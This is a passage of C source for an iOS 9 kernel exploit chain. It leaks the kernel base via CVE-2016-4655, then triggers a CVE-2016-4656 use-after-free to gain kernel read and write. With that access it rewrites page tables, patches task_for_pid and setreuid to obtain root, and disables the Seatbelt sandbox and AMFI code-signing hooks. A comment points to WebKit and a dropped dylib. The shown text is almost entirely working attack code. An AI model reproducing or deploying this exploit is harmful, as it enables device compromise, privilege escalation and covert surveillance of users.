|
|
write_func(fildes[1], &arg1, 4);
|
|
write_func(fildes[1], &arg2, 4);
|
|
write_func(fildes[1], &fct, 4);
|
|
clock_get_attributes_func(clk_realtime, pipebuf, &attr, (mach_msg_type_number_t)&attrCnt);
|
|
|
|
read_func(fildes[0], data, 64);
|
|
}
|
|
|
|
void write_primitive(uint32_t addr, uint32_t value) {
|
|
addr -= 0xc;
|
|
exec_primitive(write_gadget, addr, value);
|
|
}
|
|
|
|
void patch_kernel_pmap(uint32_t kernel_base) {
|
|
uint32_t kernel_pmap = find_kernel_pmap() + kernel_base;
|
|
uint32_t kernel_pmap_store = read_primitive(kernel_pmap);
|
|
uint32_t tte_virt = read_primitive(kernel_pmap_store);
|
|
uint32_t tte_phys = read_primitive(kernel_pmap_store+4);
|
|
|
|
/*printf("kernel pmap store @ 0x%08x\n", kernel_pmap_store);*/
|
|
/*printf("kernel pmap tte is at VA 0x%08x PA 0x%08x\n", tte_virt, tte_phys);*/
|
|
|
|
/* every page is writable */
|
|
uint32_t i;
|
|
uint32_t j;
|
|
for (i=0; i<TTB_SIZE; i++) {
|
|
uint32_t addr = tte_virt+(i<<2);
|
|
uint32_t entry = read_primitive(addr);
|
|
if ((entry & L1_PAGE_PROTO) == L1_PAGE_PROTO) {
|
|
uint32_t page_entry = ((entry & L1_COARSE_PT) - tte_phys) + tte_virt;
|
|
for (j=0; j<PT_SIZE; j++) {
|
|
uint32_t addr2 = page_entry+(j<<2);
|
|
uint32_t entry2 = read_primitive(addr2);
|
|
if (entry2) {
|
|
uint32_t new_entry2 = (entry2 & (~L2_PAGE_APX));
|
|
write_primitive(addr2, new_entry2);
|
|
}
|
|
}
|
|
} else if ((entry & L1_SECT_PROTO) == L1_SECT_PROTO) {
|
|
uint32_t new_entry = L1_PROTO_TTE(entry);
|
|
new_entry &= ~L1_SECT_APX;
|
|
write_primitive(addr, new_entry);
|
|
}
|
|
}
|
|
|
|
uint32_t flush_dcache = find_flush_dcache() + kernel_base;
|
|
exec_primitive(flush_dcache, 0, 0);
|
|
|
|
uint32_t invalidate_tlb = find_invalidate_tlb() + kernel_base;
|
|
exec_primitive(invalidate_tlb, 0, 0);
|
|
}
|
|
|
|
void patch_task_for_pid(uint32_t kernel_base) {
|
|
uint32_t task_for_pid_base = find_task_for_pid() + kernel_base;
|
|
|
|
uint32_t pid_check_addr = find_pid_check() + task_for_pid_base;
|
|
write_primitive(pid_check_addr, read_primitive(pid_check_addr) + 0xff); // cmp r6, #ff
|
|
|
|
uint32_t posix_check_ret_addr = find_posix_check() + task_for_pid_base;
|
|
write_primitive(posix_check_ret_addr, read_primitive(posix_check_ret_addr) + 0xff); // cmp r0, #ff
|
|
|
|
uint32_t mac_proc_check_ret_addr = find_mac_proc_check() + task_for_pid_base;
|
|
write_primitive(mac_proc_check_ret_addr, read_primitive(mac_proc_check_ret_addr) | 0x10000); // cmp.w r8, #1
|
|
}
|
|
|
|
// from patchfinder.c
|
|
static int insn_is_32bit(uint16_t * i)
|
|
{
|
|
return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0;
|
|
}
|
|
|
|
static uint32_t bit_range(uint32_t x, int start, int end)
|
|
{
|
|
x = (x << (31 - start)) >> (31 - start);
|
|
x = (x >> end);
|
|
return x;
|
|
}
|
|
|
|
static uint32_t decode_immed(uint32_t instruction)
|
|
{
|
|
uint32_t immed16 = 0;
|
|
immed16 |= bit_range(instruction, 24, 16) << 0;
|
|
immed16 |= bit_range(instruction, 5, 0) << 12;
|
|
immed16 |= bit_range(instruction, 10, 10) << 11;
|
|
immed16 |= bit_range(instruction, 31, 28) << 8;
|
|
return immed16;
|
|
}
|
|
|
|
static unsigned char *
|
|
boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
|
|
const unsigned char* needle, size_t nlen)
|
|
{
|
|
size_t last, scan = 0;
|
|
size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
|
|
* bad character shift */
|
|
|
|
/* Sanity checks on the parameters */
|
|
if (nlen <= 0 || !haystack || !needle)
|
|
return NULL;
|
|
|
|
/* ---- Preprocess ---- */
|
|
/* Initialize the table to default value */
|
|
/* When a character is encountered that does not occur
|
|
* in the needle, we can safely skip ahead for the whole
|
|
* length of the needle.
|
|
*/
|
|
for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
|
|
bad_char_skip[scan] = nlen;
|
|
|
|
/* C arrays have the first byte at [0], therefore:
|
|
* [nlen - 1] is the last byte of the array. */
|
|
last = nlen - 1;
|
|
|
|
/* Then populate it with the analysis of the needle */
|
|
for (scan = 0; scan < last; scan = scan + 1)
|
|
bad_char_skip[needle[scan]] = last - scan;
|
|
|
|
/* ---- Do the matching ---- */
|
|
|
|
/* Search the haystack, while the needle can still be within it. */
|
|
while (hlen >= nlen)
|
|
{
|
|
/* scan from the end of the needle */
|
|
for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
|
|
if (scan == 0) /* If the first byte matches, we've found it. */
|
|
return (void *)haystack;
|
|
|
|
/* otherwise, we need to skip some bytes and start again.
|
|
Note that here we are getting the skip value based on the last byte
|
|
of needle, no matter where we didn't match. So if needle is: "abcd"
|
|
then we are skipping based on 'd' and that value will be 4, and
|
|
for "abcdd" we again skip on 'd' but the value will be only 1.
|
|
The alternative of pretending that the mismatched character was
|
|
the last character is slower in the normal case (E.g. finding
|
|
"abcd" in "...azcd..." gives 4 by using 'd' but only
|
|
4-2==2 using 'z'. */
|
|
hlen -= bad_char_skip[haystack[last]];
|
|
haystack += bad_char_skip[haystack[last]];
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
void init_exploit(void * dlsym_addr, void * dlopen_addr)
|
|
{
|
|
dlopen_func = dlopen_addr;
|
|
dlsym_func = dlsym_addr;
|
|
|
|
// Lookup functions
|
|
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
|
|
|
|
#ifdef DEBUG
|
|
typedef int (*asl_log_ptr)(aslclient asl, aslmsg msg, int level, const char *format, ...);
|
|
asl_log_ptr asl_log_func = dlsym_func(libsystem, "asl_log");
|
|
#endif
|
|
|
|
typedef void* (*memcpy_ptr)( void * destination, const void * source, size_t num);
|
|
memcpy_ptr memcpy_func = dlsym_func(libsystem, "memcpy");
|
|
|
|
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
|
|
|
|
typedef CFMutableDictionaryRef (*IOServiceMatching_ptr)(const char *name);
|
|
IOServiceMatching_ptr IOServiceMatching_func = dlsym_func(libIOKit, "IOServiceMatching");
|
|
|
|
typedef io_service_t (*IOServiceGetMatchingService_ptr)(mach_port_t masterPort, CFDictionaryRef matching);
|
|
IOServiceGetMatchingService_ptr IOServiceGetMatchingService_func = dlsym_func(libIOKit, "IOServiceGetMatchingService");
|
|
|
|
typedef mach_port_t (*mach_task_self_ptr)();
|
|
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
|
|
|
|
typedef kern_return_t (*io_service_open_extended_ptr)(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
|
|
io_service_open_extended_ptr io_service_open_extended_func = dlsym_func(libIOKit, "io_service_open_extended");
|
|
|
|
typedef kern_return_t (*IORegistryEntryGetChildIterator_ptr)(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
|
|
IORegistryEntryGetChildIterator_ptr IORegistryEntryGetChildIterator_func = dlsym_func(libIOKit, "IORegistryEntryGetChildIterator");
|
|
|
|
typedef kern_return_t (*IOObjectRelease_ptr)(io_object_t object);
|
|
IOObjectRelease_ptr IOObjectRelease_func = dlsym_func(libIOKit, "IOObjectRelease");
|
|
|
|
typedef io_object_t (*IOIteratorNext_ptr)(io_iterator_t iterator);
|
|
IOIteratorNext_ptr IOIteratorNext_func = dlsym_func(libIOKit, "IOIteratorNext");
|
|
|
|
typedef kern_return_t (*IORegistryEntryGetProperty_ptr)(io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t *size);
|
|
IORegistryEntryGetProperty_ptr IORegistryEntryGetProperty_func = dlsym_func(libIOKit, "IORegistryEntryGetProperty");
|
|
|
|
clock_get_attributes_func = dlsym_func(libsystem, "clock_get_attributes");
|
|
read_func = dlsym_func(libsystem, "read");
|
|
write_func = dlsym_func(libsystem, "write");
|
|
|
|
DLSYM_FUNC(malloc, libsystem, void*, size_t)
|
|
DLSYM_FUNC(free, libsystem, void*)
|
|
DLSYM_FUNC(getenv, libsystem, char*, const char*)
|
|
DLSYM_FUNC(strcpy, libsystem, char*, char*, const char*)
|
|
DLSYM_FUNC(strcat, libsystem, char*, char*, const char*)
|
|
DLSYM_FUNC(strlen, libsystem, size_t, const char*)
|
|
DLSYM_FUNC(open, libsystem, int, const char*, int flags, mode_t mode)
|
|
DLSYM_FUNC(flock, libsystem, int, int fd, int operation)
|
|
DLSYM_FUNC(pipe, libsystem, int, int* pipefd)
|
|
DLSYM_FUNC(mach_host_self, libsystem, host_name_port_t)
|
|
DLSYM_FUNC(host_get_clock_service, libsystem, kern_return_t, host_t host, clock_id_t id, clock_t clock_name)
|
|
DLSYM_FUNC(host_get_io_master, libsystem, kern_return_t, host_t host, io_master_t *io_master)
|
|
DLSYM_FUNC(io_service_get_matching_services_bin, libIOKit, kern_return_t, mach_port_t, char*, int, void*)
|
|
|
|
DLSYM_FUNC(pthread_create, libsystem, int, pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg);
|
|
DLSYM_FUNC(sleep, libsystem, unsigned int, unsigned int);
|
|
DLSYM_FUNC(fstat, libsystem, int, int fildes, struct stat *buf);
|
|
DLSYM_FUNC(setreuid, libsystem, int, uid_t ruid, uid_t euid);
|
|
DLSYM_FUNC(getuid, libsystem, uid_t);
|
|
|
|
DLSYM_FUNC(uname, libsystem, int, struct utsname *buf);
|
|
DLSYM_FUNC(sysctl, libsystem, int, int *name, u_int namelen, void *oldp, size_t *oldlenp, void *newp, size_t newlen);
|
|
|
|
DLSYM_FUNC(task_for_pid, libsystem, kern_return_t, mach_port_name_t target_tport, int pid, mach_port_name_t *t);
|
|
DLSYM_FUNC(vm_write, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
|
|
DLSYM_FUNC(vm_read_overwrite, libsystem, kern_return_t, vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize);
|
|
|
|
DLSYM_FUNC(socket, libsystem, int, int, int, int);
|
|
DLSYM_FUNC(connect, libsystem, int, int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
DLSYM_FUNC(send, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);
|
|
DLSYM_FUNC(recv, libsystem, ssize_t, int sockfd, const void *buf, size_t len, int flags);
|
|
DLSYM_FUNC(close, libsystem, int, int fd);
|
|
DLSYM_FUNC(unlink, libsystem, int, const char* file);
|
|
|
|
// Init
|
|
const char *lock_last_path_component = "/tmp/lock";
|
|
char *home = getenv_func("HOME");
|
|
|
|
size_t locklen = strlen_func(home) + strlen_func(lock_last_path_component) + 1;
|
|
lockfile = malloc_func(locklen);
|
|
strcpy_func(lockfile, home);
|
|
strcat_func(lockfile, lock_last_path_component);
|
|
|
|
fd = open_func(lockfile, O_CREAT | O_WRONLY, 0644);
|
|
|
|
flock_func(fd, LOCK_EX);
|
|
pipe_func(fildes);
|
|
|
|
struct utsname systeminfo;
|
|
uname_func(&systeminfo);
|
|
|
|
debug_print("Found device: %s\n", systeminfo.machine);
|
|
|
|
char osname[32];
|
|
size_t s = sizeof(osname);
|
|
int cmd[2] = { CTL_KERN, KERN_OSVERSION };
|
|
if(sysctl_func(cmd, sizeof(cmd) / sizeof(*cmd), osname, &s, NULL, 0) != 0) {
|
|
debug_print("%s\n", "Could not detect device version");
|
|
return;
|
|
}
|
|
|
|
bool pre91 = false;
|
|
const char* osversion = 0;
|
|
debug_print("Found version: %s\n", osname);
|
|
if (osname[2] == 'A') {
|
|
osversion = "9.0.2";
|
|
pre91 = true;
|
|
} else if (osname[2] == 'B') {
|
|
osversion = "9.1";
|
|
} else if (osname[2] == 'C') {
|
|
osversion = "9.2";
|
|
} else if (osname[2] == 'D') {
|
|
osversion = "9.2.1";
|
|
} else if (osname[2] == 'E') {
|
|
osversion = "9.3";
|
|
} else if (osname[2] == 'F') {
|
|
osversion = "9.3.2";
|
|
} else if (osname[2] == 'G') {
|
|
osversion = "9.3.3";
|
|
} else {
|
|
debug_print("%s\n", "Unsupported version");
|
|
return;
|
|
}
|
|
|
|
debug_print("Guessed version for offsets: %s\n", osversion);
|
|
target_environment = info_to_target_environment(systeminfo.machine, osversion);
|
|
if (!target_environment) {
|
|
debug_print("%s\n", "Unsupported version");
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
|
|
kern_return_t kr;
|
|
kr = host_get_clock_service_func(mach_host_self_func(), CALENDAR_CLOCK, (clock_t)&clk_battery);
|
|
if (kr != 0) {
|
|
debug_print("%s\n", "clk_battery fail");
|
|
return;
|
|
}
|
|
|
|
kr = host_get_clock_service_func(mach_host_self_func(), REALTIME_CLOCK, (clock_t)&clk_realtime);
|
|
if (kr != 0) {
|
|
debug_print("%s\n", "clk_realtime fail");
|
|
return;
|
|
}
|
|
|
|
// CVE-2016-4655
|
|
char data[4096];
|
|
uint32_t bufpos = 0;
|
|
|
|
memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
|
|
bufpos += sizeof(kOSSerializeBinarySignature);
|
|
|
|
WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);
|
|
|
|
WRITE_IN(data, kOSSerializeSymbol | 30);
|
|
WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingSrc"
|
|
WRITE_IN(data, 0x6f627965);
|
|
WRITE_IN(data, 0x4d647261);
|
|
WRITE_IN(data, 0x6669646f);
|
|
WRITE_IN(data, 0x4d726569);
|
|
WRITE_IN(data, 0x69707061);
|
|
WRITE_IN(data, 0x7253676e);
|
|
WRITE_IN(data, 0x00000063);
|
|
WRITE_IN(data, kOSSerializeNumber | 2048);
|
|
WRITE_IN(data, 0x00000004);
|
|
WRITE_IN(data, 0x00000000);
|
|
|
|
WRITE_IN(data, kOSSerializeSymbol | 30);
|
|
WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingDst"
|
|
WRITE_IN(data, 0x6f627965);
|
|
WRITE_IN(data, 0x4d647261);
|
|
WRITE_IN(data, 0x6669646f);
|
|
WRITE_IN(data, 0x4d726569);
|
|
WRITE_IN(data, 0x69707061);
|
|
WRITE_IN(data, 0x7344676e);
|
|
WRITE_IN(data, 0x00000074);
|
|
WRITE_IN(data, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
|
|
WRITE_IN(data, 0x00000193);
|
|
WRITE_IN(data, 0X00000000);
|
|
|
|
CFMutableDictionaryRef amfi = IOServiceMatching_func("AppleMobileFileIntegrity");
|
|
io_service_t service = IOServiceGetMatchingService_func(0, amfi);
|
|
io_connect_t connection;
|
|
kern_return_t result;
|
|
|
|
NDR_record_t* NDR_record_lookup = dlsym_func(libIOKit, "NDR_record");
|
|
io_service_open_extended_func(service, mach_task_self_func(), 0, *NDR_record_lookup, data, bufpos, &result, &connection);
|
|
if (result != KERN_SUCCESS) {
|
|
debug_print("%s\n", "io_service_open_extended fail");
|
|
return;
|
|
}
|
|
|
|
io_object_t object = 0;
|
|
uint32_t size = sizeof(data);
|
|
io_iterator_t iterator;
|
|
IORegistryEntryGetChildIterator_func(service, "IOService", &iterator);
|
|
|
|
do {
|
|
if (object) {
|
|
IOObjectRelease_func(object);
|
|
}
|
|
object = IOIteratorNext_func(iterator);
|
|
} while (IORegistryEntryGetProperty_func(object, "HIDKeyboardModifierMappingSrc", data, &size));
|
|
|
|
uint32_t kernel_base = 0;
|
|
if (size > 8) {
|
|
kernel_base = (*(uint32_t *)(data+36) & 0xFFF00000) + 0x1000;
|
|
}
|
|
|
|
debug_print("found kernel_base %p!\n", (void*)kernel_base);
|
|
|
|
|
|
// CVE-2016-4656
|
|
pthread_t insert_payload_thread;
|
|
volatile uint32_t payload_ptr = 0x12345678;
|
|
uint32_t args[] = {kernel_base, (uint32_t)&payload_ptr};
|
|
|
|
mach_port_t master = 0, res;
|
|
struct stat buf;
|
|
mach_port_name_t kernel_task;
|
|
|
|
pthread_create_func(&insert_payload_thread, NULL, &insert_payload, args);
|
|
|
|
while (payload_ptr == 0x12345678);
|
|
sleep_func(1);
|
|
|
|
memcpy_func(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
|
|
bufpos = sizeof(kOSSerializeBinarySignature);
|
|
|
|
|
|
WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 0x10);
|
|
if (pre91)
|
|
{
|
|
/* pre-9.1 doesn't accept strings as keys, but duplicate keys :D */
|
|
WRITE_IN(data, kOSSerializeSymbol | 4);
|
|
WRITE_IN(data, 0x00327973); // "sy2"
|
|
/* our key is a OSString object that will be freed */
|
|
WRITE_IN(data, kOSSerializeString | 4);
|
|
WRITE_IN(data, 0x00327973); // irrelevant
|
|
|
|
/* now this will free the string above */
|
|
WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2"
|
|
WRITE_IN(data, kOSSerializeBoolean | 1); // lightweight value
|
|
|
|
/* and this is the key for the value below */
|
|
WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2" again
|
|
}
|
|
else
|
|
{
|
|
/* our key is a OSString object that will be freed */
|
|
WRITE_IN(data, kOSSerializeString | 4);
|
|
WRITE_IN(data, 0x00327973); // "sy2"
|
|
}
|
|
WRITE_IN(data, kOSSerializeData | 0x14);
|
|
WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT+PEXPLOIT_TO_UAF_PAYLOAD); // [00] address of uaf_payload_buffer
|
|
WRITE_IN(data, 0x41414141); // [04] dummy
|
|
WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT); // [08] address of uaf_payload_buffer - 8
|
|
WRITE_IN(data, 0x00000014); // [0C] static value of 20
|
|
WRITE_IN(data, kernel_base+find_OSSerializer_serialize()+1); // [10] address of OSSerializer::serialize (+1)
|
|
|
|
/* now create a reference to object 1 which is the OSString object that was just freed */
|
|
WRITE_IN(data, kOSSerializeObject | kOSSerializeEndCollecton | (pre91 ? 2 : 1));
|
|
|
|
/* get a master port for IOKit API */
|
|
host_get_io_master_func(mach_host_self_func(), &master);
|
|
|
|
/* trigger the bug */
|
|
kr = io_service_get_matching_services_bin_func(master, data, bufpos, &res);
|
|
|
|
/* test read primitive */
|
|
uint32_t kernel_header = read_primitive(kernel_base);
|
|
debug_print("kernel_header = %p!\n", (void*)kernel_header);
|
|
|
|
vm_kernel_addrperm = read_primitive(kernel_base+find_vm_kernel_addrperm());
|
|
|
|
/* pipe test */
|
|
fstat_func(fildes[0], &buf);
|
|
cpipe = (uint32_t)(buf.st_ino - vm_kernel_addrperm);
|
|
|
|
write_func(fildes[1], "ABCDEFGH", 8);
|
|
read_primitive(cpipe);
|
|
pipebuf = read_primitive(cpipe+16);
|
|
if (read_primitive(pipebuf) != 0x44434241) { // "ABCD"
|
|
debug_print("%s\n", "read_primitive fail");
|
|
return;
|
|
}
|
|
if (read_primitive(pipebuf+4) != 0x48474645) { // "EFGH"
|
|
debug_print("%s\n", "read_primitive fail");
|
|
return;
|
|
}
|
|
|
|
read_func(fildes[0], data, 4096);
|
|
|
|
/* test write primitive */
|
|
write_gadget = kernel_base + find_write_gadget();
|
|
|
|
write_primitive(pipebuf, 0x41424142);
|
|
if (read_primitive(pipebuf) != 0x41424142) {
|
|
debug_print("%s\n", "read_primitive fail");
|
|
return;
|
|
}
|
|
|
|
/* patch kernel pmap */
|
|
patch_kernel_pmap(kernel_base);
|
|
|
|
/* test kernel pmap patch */
|
|
write_primitive(kernel_base, 0x41424142);
|
|
kernel_header = read_primitive(kernel_base);
|
|
debug_print("kernel_header = %p!\n", (void*)kernel_header);
|
|
write_primitive(kernel_base, 0xfeedface);
|
|
kernel_header = read_primitive(kernel_base);
|
|
debug_print("kernel_header = %p!\n", (void*)kernel_header);
|
|
|
|
kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);
|
|
if (kr != 0) {
|
|
debug_print("%s\n", "patching task_for_pid!");
|
|
patch_task_for_pid(kernel_base);
|
|
sleep_func(1);
|
|
kr = task_for_pid_func(mach_task_self_func(), 0, &kernel_task);
|
|
if (kr != 0) {
|
|
debug_print("%s\n", "tfp0 fail");
|
|
return;
|
|
}
|
|
} else {
|
|
debug_print("%s\n", "tfp0 win!");
|
|
}
|
|
|
|
/* test kernel task port */
|
|
char* kbase = malloc_func(0x1000);
|
|
if (kbase == 0) {
|
|
debug_print("%s\n", "malloc fail");
|
|
return;
|
|
}
|
|
vm_size_t memsize;
|
|
kr = vm_read_overwrite_func(kernel_task, kernel_base, 0x1000, (vm_address_t)kbase, &memsize);
|
|
if (kr != 0) {
|
|
debug_print("%s\n", "vm_read fail");
|
|
return;
|
|
}
|
|
mach_header_t *mh=(struct mach_header *)kbase;
|
|
if(mh->magic != 0xfeedface) {
|
|
debug_print("%s\n", "magic fail");
|
|
return;
|
|
}
|
|
|
|
/* patch setreuid */
|
|
debug_print("getuid() = %d!\n", getuid_func());
|
|
/*assert(getuid() != 0);*/
|
|
uint32_t setreuid_base = find_setreuid() + kernel_base;
|
|
uint32_t branch_addr = 0x3e + setreuid_base;
|
|
ushort new_branch = find_setreuid_cred_update(); // b loc_802aaa2c
|
|
vm_write_func(kernel_task, branch_addr, (vm_address_t)&new_branch, 2);
|
|
|
|
sleep_func(1);
|
|
|
|
/*assert(setreuid(0, 0) == 0);*/
|
|
setreuid_func(0, 0);
|
|
|
|
/* got root? */
|
|
debug_print("getuid() = %d!\n", getuid_func());
|
|
/*assert(getuid() == 0);*/
|
|
|
|
uint32_t kernel_start = 0xffffffff;
|
|
uint32_t kernel_end = 0;
|
|
|
|
debug_print("ncmds = %d!\n", mh->ncmds);
|
|
struct load_command *lc=(struct load_command *)(mh+1);
|
|
for (int i=0;i<mh->ncmds; i++) {
|
|
if (lc->cmd == LC_SEGMENT_T) {
|
|
struct segment_command *sc = (struct segment_command*)lc;
|
|
debug_print("found segment %s!\n", sc->segname);
|
|
if (sc->vmaddr < kernel_start) {
|
|
kernel_start = sc->vmaddr;
|
|
}
|
|
if (sc->vmaddr+sc->vmsize > kernel_end) {
|
|
kernel_end = sc->vmaddr+sc->vmsize;
|
|
}
|
|
}
|
|
lc=(struct load_command*)(((char *)lc)+lc->cmdsize);
|
|
}
|
|
|
|
size_t kernel_size = (kernel_end - kernel_start);
|
|
debug_print("kernel start %p, end %p, size %p!\n", (void*)kernel_start, (void*)kernel_end, (void*)(kernel_size));
|
|
free_func(kbase);
|
|
|
|
vm_address_t kdata = (vm_address_t)malloc_func(kernel_size);
|
|
for (int i=0; (i<<12)<kernel_size; i++) {
|
|
vm_read_overwrite_func(kernel_task, kernel_base+(i<<12), 4096, kdata+(i<<12), &memsize);
|
|
}
|
|
|
|
debug_print("kdata %p, end %p, size %p!\n", (void*)kdata, (void*)(kdata + kernel_size), (void*)(kernel_size));
|
|
uint8_t *seatbeltstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);
|
|
if (!seatbeltstr) {
|
|
debug_print("%s\n", "seatbelt fail");
|
|
return;
|
|
}
|
|
uint32_t what = (uint32_t)(seatbeltstr - kdata) + kernel_start;
|
|
uint32_t sbops = 0;
|
|
for (uint32_t off = 0; off < kernel_size; off += 4) {
|
|
if (*(uint32_t*)(kdata + off) == what) {
|
|
sbops = *(uint32_t*)(kdata + off + 12);
|
|
debug_print("sbops found %p\n", (void*)(sbops));
|
|
break;
|
|
}
|
|
}
|
|
|
|
/* fixes kernel[0] <Notice>: Sandbox: com.apple.WebKit(180) deny(1) file-read-data /private/var/root/log.dylib*/
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accept), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_accepted), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_bind), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_connect), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_create), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_label_update), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_listen), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_receive), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_received), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_select), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_send), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_stat), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_setsockopt), 0);
|
|
write_primitive(sbops+offsetof(struct mac_policy_ops, mpo_socket_check_getsockopt), 0);
|
|
|
|
uint8_t *amfistr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1);
|
|
if (!amfistr) {
|
|
debug_print("%s\n", "amfistr fail");
|
|
return;
|
|
}
|
|
uint32_t amfiwhat = (uint32_t)(amfistr - kdata) + kernel_start;
|
|
uint32_t amfiops = 0;
|
|
for (uint32_t off = 0; off < kernel_size; off += 4) {
|
|
if (*(uint32_t*)(kdata + off) == amfiwhat) {
|
|
debug_print("amfiops found %p\n", (void*)(kdata + off));
|
|
amfiops = *(uint32_t*)(kdata + off + 12);
|
|
break;
|
|
}
|
|
}
|
|
write_primitive(amfiops+offsetof(struct mac_policy_ops, mpo_file_check_mmap), 0);
|
|
|
|
uint8_t *amfidriverstr = boyermoore_horspool_memmem((unsigned char*)kdata, kernel_size, (uint8_t *)"com.apple.driver.AppleMobileFileIntegrity", sizeof("com.apple.driver.AppleMobileFileIntegrity") - 1);
|
|
/*uint32_t cs_enforce_maybe = (amfidriverstr - kdata) + kernel_start + 0xb0;*/
|
|
/*write_primitive(cs_enforce_maybe, 1);*/
|
|
|
|
